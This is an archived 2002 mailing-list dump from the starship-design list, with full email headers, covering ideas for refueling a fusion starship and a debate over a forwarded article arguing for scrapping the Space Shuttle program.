Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Precedence: bulk Reply-To: ""Peter \\(Sci\\)"" From: ""Peter \\(Sci\\)"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship Design"" Subject: starship-design: Refueling Date: Thu, 17 Oct 2002 11:46:44 +0100 After shooting through the deep black for a number of years, accelerating, breaking, plus any little accidents the ship may have, there probably wouldn't be much fuel left, so I came to wonder about refueling and came up with a couple of ideas. These ideas assume a fusion-based power plant using hydrogen or other light elements. First off, gas clouds. Assuming no legistation has been passed banning the use/destruction of these immense features, my first thought was to extract fuel from these. Much like a bussard ram-scoop, suck in gas and store/use it (btw, is there any reason a bussard scoop couldn't use an electrostatic feild rather than magnetic?). However, there's not much gas in this area of space, unless you count gas-giants. Now, gas-giants are something that are already being picked up orbiting other stars, so perhaps some form of fuel-harvesting craft would be a usefull adition to the ships complement? Of course the atsmosphere of a giant is unlikely to be pure H, so a form of distilery would be needed, which is also needed for my second thought. Planetary rings. Now, although the rings are unlikely to be pure ice (as in Asimov's ""The Martian Way""), they would likely contain some, as well as other solidified chemicals. I perceived the idea of some sort of harpoon, armoured and equipped with heating elements in the center, vapouring ice and slush and forcing it up a hose to the ship for processing and distiling. If I recall correctly, tests have shown there are also a lot of simple alchohols in space-born clouds, so perhaps there may be in other forms too. Anyway, having equipment that can extract the H from any molecule containing it would be useful. Leaving a permenant fuelign station in place on a large iceberg seemed also like a good idea at first, but changing the mass of one like that would also change it's behavior and send it out of a previously stable configuration (again, as happened in ""The Martian Way""). A few thoughts for people to read, Peter",0,0 """Peter (Sci)"" ",Starship Design ,"Thu, 17 Oct 2002 13:52:46 +0100",starship-design: Industrial Platform mechanism,"Just wandering a few new newsgroups, and found a link to http://www.sciencedaily.com/releases/2002/10/021010070145.htm on sci.space.tech. Sounds very good, lacking use of chemicals, moving parts, etc. Would be good to remember for design of the Industrial Platform sugested on the website? Peter ",0,1 KellySt@aol.com,"scifox@asylum30.freeserve.co.uk, starship-design@lists.uoregon.edu","Thu, 17 Oct 2002 23:45:31 -0400",Re: starship-design: Refueling,"In flight you can refuel, because space between the stars is prettty much empty, and no fule would be worth slowing down to get. Once in another starsystem (i.e. where your going) you csan refuel from materials in the solar system. Comet cores, gas giants and their moons, etc. Or solid asteroids (not all fusion fuels are gasses). In a message dated 10/17/02 6:47:47 AM, scifox@asylum30.freeserve.co.uk writes: >After shooting through the deep black for a number of years, accelerating, > >breaking, plus any little accidents the ship may have, there probably > >wouldn't be much fuel left, so I came to wonder about refueling and came >up > >with a couple of ideas. > >These ideas assume a fusion-based power plant using hydrogen or other light > >elements. > > > >First off, gas clouds. Assuming no legistation has been passed banning >the > >use/destruction of these immense features, my first thought was to extract > >fuel from these. Much like a bussard ram-scoop, suck in gas and store/use > >it (btw, is there any reason a bussard scoop couldn't use an electrostatic > >feild rather than magnetic?). However, there's not much gas in this area >of > >space, unless you count gas-giants. > >Now, gas-giants are something that are already being picked up orbiting > >other stars, so perhaps some form of fuel-harvesting craft would be a > >usefull adition to the ships complement? > >Of course the atsmosphere of a giant is unlikely to be pure H, so a form >of > >distilery would be needed, which is also needed for my second thought. > > > >Planetary rings. Now, although the rings are unlikely to be pure ice (as >in > >Asimov's ""The Martian Way""), they would likely contain some, as well as > >other solidified chemicals. I perceived the idea of some sort of harpoon, > >armoured and equipped with heating elements in the center, vapouring ice >and > >slush and forcing it up a hose to the ship for processing and distiling. > If > >I recall correctly, tests have shown there are also a lot of simple > >alchohols in space-born clouds, so perhaps there may be in other forms >too. > >Anyway, having equipment that can extract the H from any molecule containing > >it would be useful. > > > >Leaving a permenant fuelign station in place on a large iceberg seemed >also > >like a good idea at first, but changing the mass of one like that would >also > >change it's behavior and send it out of a previously stable configuration > >(again, as happened in ""The Martian Way""). > > > > > >A few thoughts for people to read, > > > >Peter >From VM Mon Nov 11 10:58:05 2002 Content-Length: 36733 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""36733"" ""Saturday"" ""9"" ""November"" ""2002"" ""14:53:51"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""713"" ""starship-design: Scrap The Shuttle Program"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gA9KsU3D009816 for ; Sat, 9 Nov 2002 12:54:30 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gA9KsU3a009815 for starship-design-outgoing; Sat, 9 Nov 2002 12:54:30 -0800 (PST) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gA9KsT3D009809 for ; Sat, 9 Nov 2002 12:54:29 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18Accb-00029T-00 for starship-design@lists.uoregon.edu; Sat, 09 Nov 2002 12:54:25 -0800 Message-ID: <00c401c28832$1c43e870$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: multipart/related; boundary=""----=_NextPart_000_00C5_01C287FF.D1A97870"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design List \\(E-mail\\)"" Subject: starship-design: Scrap The Shuttle Program Date: Sat, 9 Nov 2002 14:53:51 -0600 This is a multi-part message in MIME format. ------=_NextPart_000_00C5_01C287FF.D1A97870 Content-Type: multipart/alternative; boundary=""----=_NextPart_001_00C6_01C287FF.D1A97870"" ------=_NextPart_001_00C6_01C287FF.D1A97870 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Legal Pad StationeryScrap The Shuttle Program by Carlton Meyer Editor G2mil.com Richmond - Nov 01, 2002 The US military considers control of outer space vital to future warfare. Spaceprojects.com noted that page 18 of this Commerce Department report (pdf) documents how the USA slipped to just 29% of the world's launch market share in the year 2000, even though we had 48% of it in 1996, and apparently all of it the decade before. How did this happen if NASA has a larger space budget than all other civilian space agencies combined, as well as its Congressional mandate to: ""seek and encourage, to the maximum extent possible, the fullest commercial use of space""? How did some countries evolve from non-players in space two decades ago into dominant commercial players today? Much of the blame falls upon the Space Shuttle program. As we ""celebrate"" the 25th anniversary of the shuttle disaster, no not the Challenger explosion but the whole program, let us review reality. The shuttle is far more expensive than expendable rockets used for the Apollo program the 1960s. The orbiter and solid rocket boosters are recovered for reuse, but an army of engineers must inspect and rebuild them for the next mission. As a result, plans for 100 shuttle missions a year have fallen to around four, costing $550 million each and employing 30,000 people. The shuttle was a good effort in the 1970s which developed some new technology, but that phase ended. Unfortunately, NASA invented the ""Space Station"" as an excuse to keep the shuttle program funded forever. While the shuttle eats up $4 billion a year in NASA funding, only $1 billion was devoted to the shuttle replacement, the X-33, before senior NASA officials admitted the concept was unworkable. Experts told NASA that the X-33 just needed a rocket sled or pneumatic ground assisted launch, but NASA ignored them. Congress then gave NASA $4.8 billion over several years to develop a replacement for the shuttle. However, this Strategic Launch Initiative (SLI) became a game to keep the shuttle jobs program going, and only produced some complex artistic drawings devoid of any details like mass or engine type. At a World Space Congress panel on space operations last month, veteran shuttle flight director Wayne Hale discounted SLI concepts as ungrounded in reality. On October 22nd, NASA postponed the next phase of SLI indefinitely. SLI is in limbo because the focus became minute improvements in rocketry to produce the RS-83 to replace the shuttle's main engines, and the RS-84 as expensive fly-back boosters to replace the shuttle's solid rocket boosters. Now NASA is breaking the bad news to America with a message like: We tried really hard, but couldn't find a better method. Luckily, we did discover ways to improve the current Space Shuttle, so we can upgrade that system and extend it for another twenty years. The United Space Alliance (USA) is pleased. This patriotic sounding group is a cover for the two aerospace giants (Boeing and Lockheed-Martin) who share one billion dollars a year in funding to ""manage"" the shuttle program. They now want billions more for Space Shuttle II to upgrade everything and replace the two solid rocket boosters with RS-84 liquid fly-backs. However, the shuttle has a payload of only ~50,000 lbs. So if you use two flyback boosters, you add two sets of landing gear, two sets of stub wings, and two jet engines per booster, plus more fuel to launch this extra deadweight, and the shuttle payload goes to zero. This proposal does not bring back the expensive fuel tank either, leaving one unsure if USA is incompetent or mismanaged. The highly successful Apollo program ended after several trips to the moon, yet the unsuccessful shuttle program continues pointless ""missions"" which normally involve a public relations gimmick. A school teacher was sent, old former senator John Glenn, and the last mission was notable for a ""shuttlecam"" providing a lift off view, as well the third soybean experiment. Even the Simpson's cartoon series made fun of NASA by selecting Homer for a ""regular guy"" mission, along with an ant experiment which goes awry. The Russians are not paying for their share for the Space Station, and have resorted to selling trips to billionaires, celebrities, and are now negotiating to host TV game shows in space. NASA has given up on pretending that shuttle missions involve science and now proclaim they are important for international relations. As the shuttle orbiters age, maintenance becomes even more expensive, and many experts believe its just a matter of time before another shuttle blows up due to its complex vertical launch method. Americans in their 30s watched shuttle launches as young children. Now NASA wants to keep the program going so they can one day watch shuttle launches from their retirement home. Then they wonder why there is no enthusiasm for space programs in the nation or Congress. If the shuttle hangs on for another 80 missions, does anyone expect anything to come from them? Perhaps NASA should build a ""Sea Station"" 1000 feet below the sea and use submarines to take foreigners and other salaried government tourists on ""missions"" to conduct ""experiments"" and set ""endurance records"" while ""improving international relations"". This idea may seem crazy, but it would be much cheaper than the shuttle program and accomplish just as much. The Apollo program ended when America realized that expensive adventures to collect moon rocks was pointless. Can anyone name a spectacular scientific discovery from shuttle missions? Its become a jobs program and a public relations campaign to hide a lack of progress. In contrast, just $1 billion in seed money helped Boeing build the Delta IV and Lockheed-Martin the Atlas 5, the first new expendable rocket systems in over 20 years. Imagine what could happen if the $4 billion a year and 30,000 shuttle experts were diverted to R&D? Imagine the panic at NASA after cancellation of the shuttle program shatters their comfortable academic climate and everyone realizes that a superior method must be developed fast, lest Congress deems them inept and cuts funding. Innovative ideas like maglev launch, nuclear engines, and the space elevator require major funding. Some top level physicists now agree that anti-gravity devices like the 512kV rotator can reduce the effects of gravity by spinning electrons, but they can't secure funding for research. Plans for pneumatic assisted launch have been around for years, but never funded. A large rail launch demonstrator requires a billion dollars, or funds for just two shuttle missions. NASA may soon cancel the promising VARISM plasma engine research project citing a lack of funds. Unfortunately, little technological progress is expected unless NASA management and shuttle funding is diverted from the continual burden of getting yet another shuttle safely off the ground. The US Air Force has become so frustrated by NASA's focus on the shuttle that it wants to build its own manned spacecraft. Until a major technological breakthrough allows a new form of space launch, all we have today is chemical rocket power that can provide just a few percent payload by weight compared to their overall size. A massive rocket-powered horizontal launched spaceplane may work, but it would cost billions to build, must be several times larger than a 747, and may cost so much to launch and maintain that it erases the savings of being reusable, just like the shuttle. If you add wings, landing gear and engines to bring any spacecraft or fly-back booster back to Earth for reuse, that extra weight eliminates the payload. You can't just make a bigger spacecraft because that requires bigger wings, landing gear and engines. So the only way a reusable rocket powered spacecraft can work is with a ground assist launch to Mach 1-2 up a mountainside. This is possible today, as the Sky Ramp Technology website explains. However, funding for Sky Ramps and new technologies will remain tight so long as the shuttle program consumes the attention and funding at NASA. Lee Once I knew where I was going, but now I have forgotten. Sometimes my mind wanders. Sometimes it goes alone, and other times it takes me along...this isn't one of those times... ------=_NextPart_001_00C6_01C287FF.D1A97870 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Legal Pad Stationery Scrap The Shuttle = Programby Carlton MeyerEditor G2mil.comRichmond - Nov 01, 2002 The US military considers control of outer space vital to = future=20 warfare. Spaceprojects.com noted that page 18 of this Commerce = Department report=20 (pdf) documents how the USA slipped to just 29% of the world's launch = market=20 share in the year 2000, even though we had 48% of it in 1996, and = apparently all=20 of it the decade before.   How did this happen if NASA has a larger space = budget=20 than all other civilian space agencies combined, as well as its = Congressional=20 mandate to: ""seek and encourage, to the maximum extent possible, the = fullest=20 commercial use of space""? How did some countries evolve from non-players = in=20 space two decades ago into dominant commercial players today?   Much of the blame falls upon the Space Shuttle = program.=20 As we ""celebrate"" the 25th anniversary of the shuttle disaster, no not = the=20 Challenger explosion but the whole program, let us review reality. The = shuttle=20 is far more expensive than expendable rockets used for the Apollo = program the=20 1960s. The orbiter and solid rocket boosters are recovered for reuse, = but an=20 army of engineers must inspect and rebuild them for the next mission. =   As a result, plans for 100 shuttle missions a = year have=20 fallen to around four, costing $550 million each and employing 30,000 = people.=20 The shuttle was a good effort in the 1970s which developed some new = technology,=20 but that phase ended. Unfortunately, NASA invented the ""Space Station"" = as an=20 excuse to keep the shuttle program funded forever.   While the shuttle eats up $4 billion a year in = NASA=20 funding, only $1 billion was devoted to the shuttle replacement, the = X-33,=20 before senior NASA officials admitted the concept was unworkable. = Experts told=20 NASA that the X-33 just needed a rocket sled or pneumatic ground = assisted=20 launch, but NASA ignored them. Congress then gave NASA $4.8 billion over = several=20 years to develop a replacement for the shuttle.   However, this Strategic Launch Initiative = (SLI) became a=20 game to keep the shuttle jobs program going, and only produced some = complex=20 artistic drawings devoid of any details like mass or engine type. At a = World=20 Space Congress panel on space operations last month, veteran shuttle = flight=20 director Wayne Hale discounted SLI concepts as ungrounded in reality. On = October=20 22nd, NASA postponed the next phase of SLI indefinitely.   SLI is in limbo because the focus became = minute=20 improvements in rocketry to produce the RS-83 to replace the shuttle's = main=20 engines, and the RS-84 as expensive fly-back boosters to replace the = shuttle's=20 solid rocket boosters. Now NASA is breaking the bad news to America with = a=20 message like: We tried really hard, but couldn't find a better method. = Luckily,=20 we did discover ways to improve the current Space Shuttle, so we can = upgrade=20 that system and extend it for another twenty years.   The United Space Alliance (USA) is pleased. = This=20 patriotic sounding group is a cover for the two aerospace giants (Boeing = and=20 Lockheed-Martin) who share one billion dollars a year in funding to = ""manage"" the=20 shuttle program. They now want billions more for Space Shuttle II to = upgrade=20 everything and replace the two solid rocket boosters with RS-84 liquid=20 fly-backs. However, the shuttle has a payload of only ~50,000 lbs. =   So if you use two flyback boosters, you add = two sets of=20 landing gear, two sets of stub wings, and two jet engines per booster, = plus more=20 fuel to launch this extra deadweight, and the shuttle payload goes to = zero. This=20 proposal does not bring back the expensive fuel tank either, leaving one = unsure=20 if USA is incompetent or mismanaged.   The highly successful Apollo program ended = after several=20 trips to the moon, yet the unsuccessful shuttle program continues = pointless=20 ""missions"" which normally involve a public relations gimmick. A school = teacher=20 was sent, old former senator John Glenn, and the last mission was = notable for a=20 ""shuttlecam"" providing a lift off view, as well the third soybean = experiment.=20   Even the Simpson's cartoon series made fun of = NASA by=20 selecting Homer for a ""regular guy"" mission, along with an ant = experiment which=20 goes awry. The Russians are not paying for their share for the Space = Station,=20 and have resorted to selling trips to billionaires, celebrities, and are = now=20 negotiating to host TV game shows in space. NASA has given up on = pretending that=20 shuttle missions involve science and now proclaim they are important for = international relations.   As the shuttle orbiters age, maintenance = becomes even=20 more expensive, and many experts believe its just a matter of time = before=20 another shuttle blows up due to its complex vertical launch method. =   Americans in their 30s watched shuttle = launches as young=20 children. Now NASA wants to keep the program going so they can one day = watch=20 shuttle launches from their retirement home. Then they wonder why there = is no=20 enthusiasm for space programs in the nation or Congress. If the shuttle = hangs on=20 for another 80 missions, does anyone expect anything to come from them? =   Perhaps NASA should build a ""Sea Station"" 1000 = feet=20 below the sea and use submarines to take foreigners and other salaried=20 government tourists on ""missions"" to conduct ""experiments"" and set = ""endurance=20 records"" while ""improving international relations"". This idea may seem = crazy,=20 but it would be much cheaper than the shuttle program and accomplish = just as=20 much.   The Apollo program ended when America realized = that=20 expensive adventures to collect moon rocks was pointless. Can anyone = name a=20 spectacular scientific discovery from shuttle missions? Its become a = jobs=20 program and a public relations campaign to hide a lack of progress. =   In contrast, just $1 billion in seed money = helped Boeing=20 build the Delta IV and Lockheed-Martin the Atlas 5, the first new = expendable=20 rocket systems in over 20 years.   Imagine what could happen if the $4 billion a = year and=20 30,000 shuttle experts were diverted to R&D? Imagine the panic at = NASA after=20 cancellation of the shuttle program shatters their comfortable academic = climate=20 and everyone realizes that a superior method must be developed fast, = lest=20 Congress deems them inept and cuts funding.   Innovative ideas like maglev launch, nuclear = engines,=20 and the space elevator require major funding. Some top level physicists = now=20 agree that anti-gravity devices like the 512kV rotator can reduce the = effects of=20 gravity by spinning electrons, but they can't secure funding for = research.=20   Plans for pneumatic assisted launch have been = around for=20 years, but never funded. A large rail launch demonstrator requires a = billion=20 dollars, or funds for just two shuttle missions. NASA may soon cancel = the=20 promising VARISM plasma engine research project citing a lack of funds. =   Unfortunately, little technological progress = is expected=20 unless NASA management and shuttle funding is diverted from the = continual burden=20 of getting yet another shuttle safely off the ground.   The US Air Force has become so frustrated by = NASA's=20 focus on the shuttle that it wants to build its own manned spacecraft. = Until a=20 major technological breakthrough allows a new form of space launch, all = we have=20 today is chemical rocket power that can provide just a few percent = payload by=20 weight compared to their overall size.   A massive rocket-powered horizontal launched = spaceplane=20 may work, but it would cost billions to build, must be several times = larger than=20 a 747, and may cost so much to launch and maintain that it erases the = savings of=20 being reusable, just like the shuttle. If you add wings, landing gear = and=20 engines to bring any spacecraft or fly-back booster back to Earth for = reuse,=20 that extra weight eliminates the payload.   You can't just make a bigger spacecraft = because that=20 requires bigger wings, landing gear and engines. So the only way a = reusable=20 rocket powered spacecraft can work is with a ground assist launch to = Mach 1-2 up=20 a mountainside. This is possible today, as the Sky Ramp Technology = website=20 explains. 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nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAA3XY3D012410 for ; Sat, 9 Nov 2002 19:33:34 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAA3XY5H012409 for starship-design-outgoing; Sat, 9 Nov 2002 19:33:34 -0800 (PST) Received: from imo-r04.mx.aol.com (imo-r04.mx.aol.com [152.163.225.100]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAA3XW3D012393 for ; Sat, 9 Nov 2002 19:33:33 -0800 (PST) Received: from KellySt@aol.com by imo-r04.mx.aol.com (mail_out_v34.13.) id 4.bf.298a40a1 (14374); Sat, 9 Nov 2002 22:33:23 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, starship-design@lists.uoregon.edu Subject: Re: starship-design: Scrap The Shuttle Program Date: Sat, 9 Nov 2002 22:33:22 EST The guy had some good points up until he got to nonsence like below. The shuttles expensive because it was never made to be affordable and easy/cheap to maintain, and it flys too seldom to cover its support costs. Curing eiather doesn't require new technology -- much exotics this laglev lauchers and such. Hell they are likely to raise costs further. Problem is no one want to invest the money for better cheaper launchers, without some serious market on the other end. And one thing NASA adamently proved with the X-33 program, was that they did NOT want a new cheap launcher that wouldn't require a fraction of the support staff they now have. It would gut NASA staf size and budget, and hence political support. It would also likely allow comercial companies to do launches with their own launchers - without needing a big expensive Kennedy space center, and NASA, to do it. Kelly In a message dated 11/9/02 3:55:52 PM, lparker@cacaphony.net writes: > > >Imagine what could happen if the $4 billion a year and 30,000 shuttle > >experts were diverted to R&D? Imagine the panic at NASA after cancellation > >of the shuttle program shatters their comfortable academic climate and > >everyone realizes that a superior method must be developed fast, lest > >Congress deems them inept and cuts funding. > > > > > > > >Innovative ideas like maglev launch, nuclear engines, and the space elevator > >require major funding. Some top level physicists now agree that anti-gravity > >devices like the 512kV rotator can reduce the effects of gravity by spinning > >electrons, but they can't secure funding for research. > > > > > > > >Plans for pneumatic assisted launch have been around for years, but never > >funded. A large rail launch demonstrator requires a billion dollars, or > >funds for just two shuttle missions. NASA may soon cancel the promising > >VARISM plasma engine research project citing a lack of funds. > > > ====== >You can't just make a bigger spacecraft because that requires bigger wings, > >landing gear and engines. So the only way a reusable rocket powered > >spacecraft can work is with a ground assist launch to Mach 1-2 up a > >mountainside. This is possible today, as the Sky Ramp Technology website > >explains. However, funding for Sky Ramps and new technologies will remain > >tight so long as the shuttle program consumes the attention and funding >at > >NASA. > > > > > > > >Lee >From VM Mon Nov 11 10:58:06 2002 Content-Length: 2593 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2593"" ""Saturday"" ""9"" ""November"" ""2002"" ""20:05:57"" ""-0800"" ""Curtis Manges"" ""clmanges@yahoo.com"" nil ""29"" ""starship-design: re: scrap the shuttle"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAA45w3D021966 for ; Sat, 9 Nov 2002 20:05:58 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAA45wfS021965 for starship-design-outgoing; Sat, 9 Nov 2002 20:05:58 -0800 (PST) Received: from web13605.mail.yahoo.com (web13605.mail.yahoo.com [216.136.175.116]) by darkwing.uoregon.edu (8.12.6/8.12.6) with SMTP id gAA45v3D021954 for ; Sat, 9 Nov 2002 20:05:58 -0800 (PST) Message-ID: <20021110040557.22437.qmail@web13605.mail.yahoo.com> Received: from [206.148.92.226] by web13605.mail.yahoo.com via HTTP; Sat, 09 Nov 2002 20:05:57 PST MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""0-1645096475-1036901157=:22368"" Precedence: bulk Reply-To: Curtis Manges From: Curtis Manges Sender: owner-starship-design@lists.uoregon.edu To: starship-design Subject: starship-design: re: scrap the shuttle Date: Sat, 9 Nov 2002 20:05:57 -0800 (PST) --0-1645096475-1036901157=:22368 Content-Type: text/plain; charset=us-ascii Lee went into some detail about how NASA's percentage of all launches keeps getting smaller. To me, this looks like a function of the number of countries and corporations wanting to put communications satellites in orbit -- I'm guessing that they find it cheaper and quicker than they could get the service from NASA, and without the extra red tape as well. He also seems to disparage the Russians for selling astronaut tickets to a few rich folks who just want an exotic vacation trip. Hey, more power to 'em! The Russian economy is a mess, and by some accounts, their government went straight from Communism to Mafia, so if this is a way for them to fund some space work, why not? True, they haven't been pulling their weight with the ISS, but again, their economy . . . well, they're still fighting Chechens. Who wants to bet that NASA won't get shaved a bit to make room in the billfold for kicking Sadam's ass? Cruise missiles are $1M each, last I heard. Bottom line of all this is -- FOLLOW THE MONEY! Keep looking up, Curtis --------------------------------- Do you Yahoo!? U2 on LAUNCH - Exclusive medley & videos from Greatest Hits CD --0-1645096475-1036901157=:22368 Content-Type: text/html; charset=us-ascii Lee went into some detail about how NASA's percentage of all launches keeps getting smaller. To me, this looks like a function of the number of countries and corporations wanting to put communications satellites in orbit -- I'm guessing that they find it cheaper and quicker than they could get the service from NASA, and without the extra red tape as well. He also seems to disparage the Russians for selling astronaut tickets to a few rich folks who just want an exotic vacation trip. Hey, more power to 'em! The Russian economy is a mess, and by some accounts, their government went straight from Communism to Mafia, so if this is a way for them to fund some space work, why not? True, they haven't been pulling their weight with the ISS, but again, their economy . . . well, they're still fighting Chechens. Who wants to bet that NASA won't get shaved a bit to make room in the billfold for kicking Sadam's ass? Cruise missiles are $1M each, last I heard. Bottom line of all this is -- FOLLOW THE MONEY! Keep looking up, CurtisDo you Yahoo!? U2 on LAUNCH - Exclusive medley & videos from Greatest Hits CD --0-1645096475-1036901157=:22368-- >From VM Mon Nov 11 10:58:06 2002 Content-Length: 5818 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""5818"" ""Saturday"" ""9"" ""November"" ""2002"" ""22:52:50"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""145"" ""RE: starship-design: re: scrap the shuttle"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAA4rU3D005139 for ; Sat, 9 Nov 2002 20:53:30 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAA4rUU8005125 for starship-design-outgoing; Sat, 9 Nov 2002 20:53:30 -0800 (PST) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAA4rQ3D005110 for ; Sat, 9 Nov 2002 20:53:29 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18Ak69-0000MA-00; Sat, 09 Nov 2002 20:53:26 -0800 Message-ID: <00d401c28875$08798cd0$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_00D5_01C28842.BDDF1CD0"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <20021110040557.22437.qmail@web13605.mail.yahoo.com> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'Curtis Manges'"" , ""'starship-design'"" Subject: RE: starship-design: re: scrap the shuttle Date: Sat, 9 Nov 2002 22:52:50 -0600 This is a multi-part message in MIME format. ------=_NextPart_000_00D5_01C28842.BDDF1CD0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Well, to start with, it wasn't my point to make, it was a news article written by someone else, I just posted it to the group, Second, if I remember correctly, growth in the space launch business was practically flat this year. For my part, I would be happy to see NASA out of the Space Launch business entirely. I can see valid reaons for DOD to retain indigenous launch capability, but NASA needs to be out of the launch business. Lee -----Original Message----- From: owner-starship-design@lists.uoregon.edu [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Curtis Manges Sent: Saturday, November 09, 2002 10:06 PM To: starship-design Subject: starship-design: re: scrap the shuttle Lee went into some detail about how NASA's percentage of all launches keeps getting smaller. To me, this looks like a function of the number of countries and corporations wanting to put communications satellites in orbit -- I'm guessing that they find it cheaper and quicker than they could get the service from NASA, and without the extra red tape as well. He also seems to disparage the Russians for selling astronaut tickets to a few rich folks who just want an exotic vacation trip. Hey, more power to 'em! The Russian economy is a mess, and by some accounts, their government went straight from Communism to Mafia, so if this is a way for them to fund some space work, why not? True, they haven't been pulling their weight with the ISS, but again, their economy . . . well, they're still fighting Chechens. Who wants to bet that NASA won't get shaved a bit to make room in the billfold for kicking Sadam's ass? Cruise missiles are $1M each, last I heard. Bottom line of all this is -- FOLLOW THE MONEY! Keep looking up, Curtis ---------------------------------------------------------------------------- -- Do you Yahoo!? U2 on LAUNCH - Exclusive medley & videos from Greatest Hits CD ------=_NextPart_000_00D5_01C28842.BDDF1CD0 Content-Type: text/html; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Well, to start with, it wasn't my point to = make, it was=20 a news article written by someone else, I just posted it to the=20 group,   Second, if I remember correctly, growth in = the space=20 launch business was practically flat this=20 year.   For my part, I would be happy to see NASA out = of the=20 Space Launch business entirely. I can see valid reaons for DOD to retain = indigenous launch capability, but NASA needs to be out of the launch=20 business.   Lee -----Original Message-----From:=20 owner-starship-design@lists.uoregon.edu=20 [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of = Curtis=20 MangesSent: Saturday, November 09, 2002 10:06 = PMTo:=20 starship-designSubject: starship-design: re: scrap the=20 shuttle Lee went into some detail about how NASA's percentage of all = launches keeps=20 getting smaller. To me, this looks like a function of the = number of=20 countries and corporations wanting to put communications satellites in = orbit=20 -- I'm guessing that they find it cheaper and quicker than they could = get the=20 service from NASA, and without the extra red tape as well. He also seems to disparage the Russians for selling astronaut = tickets to a=20 few rich folks who just want an exotic vacation trip. Hey, more power = to 'em!=20 The Russian economy is a mess, and by some accounts, their government = went=20 straight from Communism to Mafia, so if this is a way for them to fund = some=20 space work, why not? True, they haven't been pulling their weight with = the=20 ISS, but again, their economy . . . well, they're still fighting = Chechens. Who=20 wants to bet that NASA won't get shaved a bit to make room in the = billfold for=20 kicking Sadam's ass? Cruise missiles are $1M each, last I heard. Bottom line of all this is -- FOLLOW THE MONEY! Keep looking up, Curtis Do you Yahoo!?U= 2 on=20 LAUNCH - Exclusive medley & videos from Greatest Hits=20 CD ------=_NextPart_000_00D5_01C28842.BDDF1CD0-- >From VM Mon Nov 11 10:58:08 2002 Content-Length: 1635 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1635"" ""Sunday"" ""10"" ""November"" ""2002"" ""12:00:45"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""46"" ""Re: starship-design: re: scrap the shuttle"" ""^From:"" nil nil ""11"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAAH123D008647 for ; Sun, 10 Nov 2002 09:01:02 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAAH12pN008646 for starship-design-outgoing; Sun, 10 Nov 2002 09:01:02 -0800 (PST) 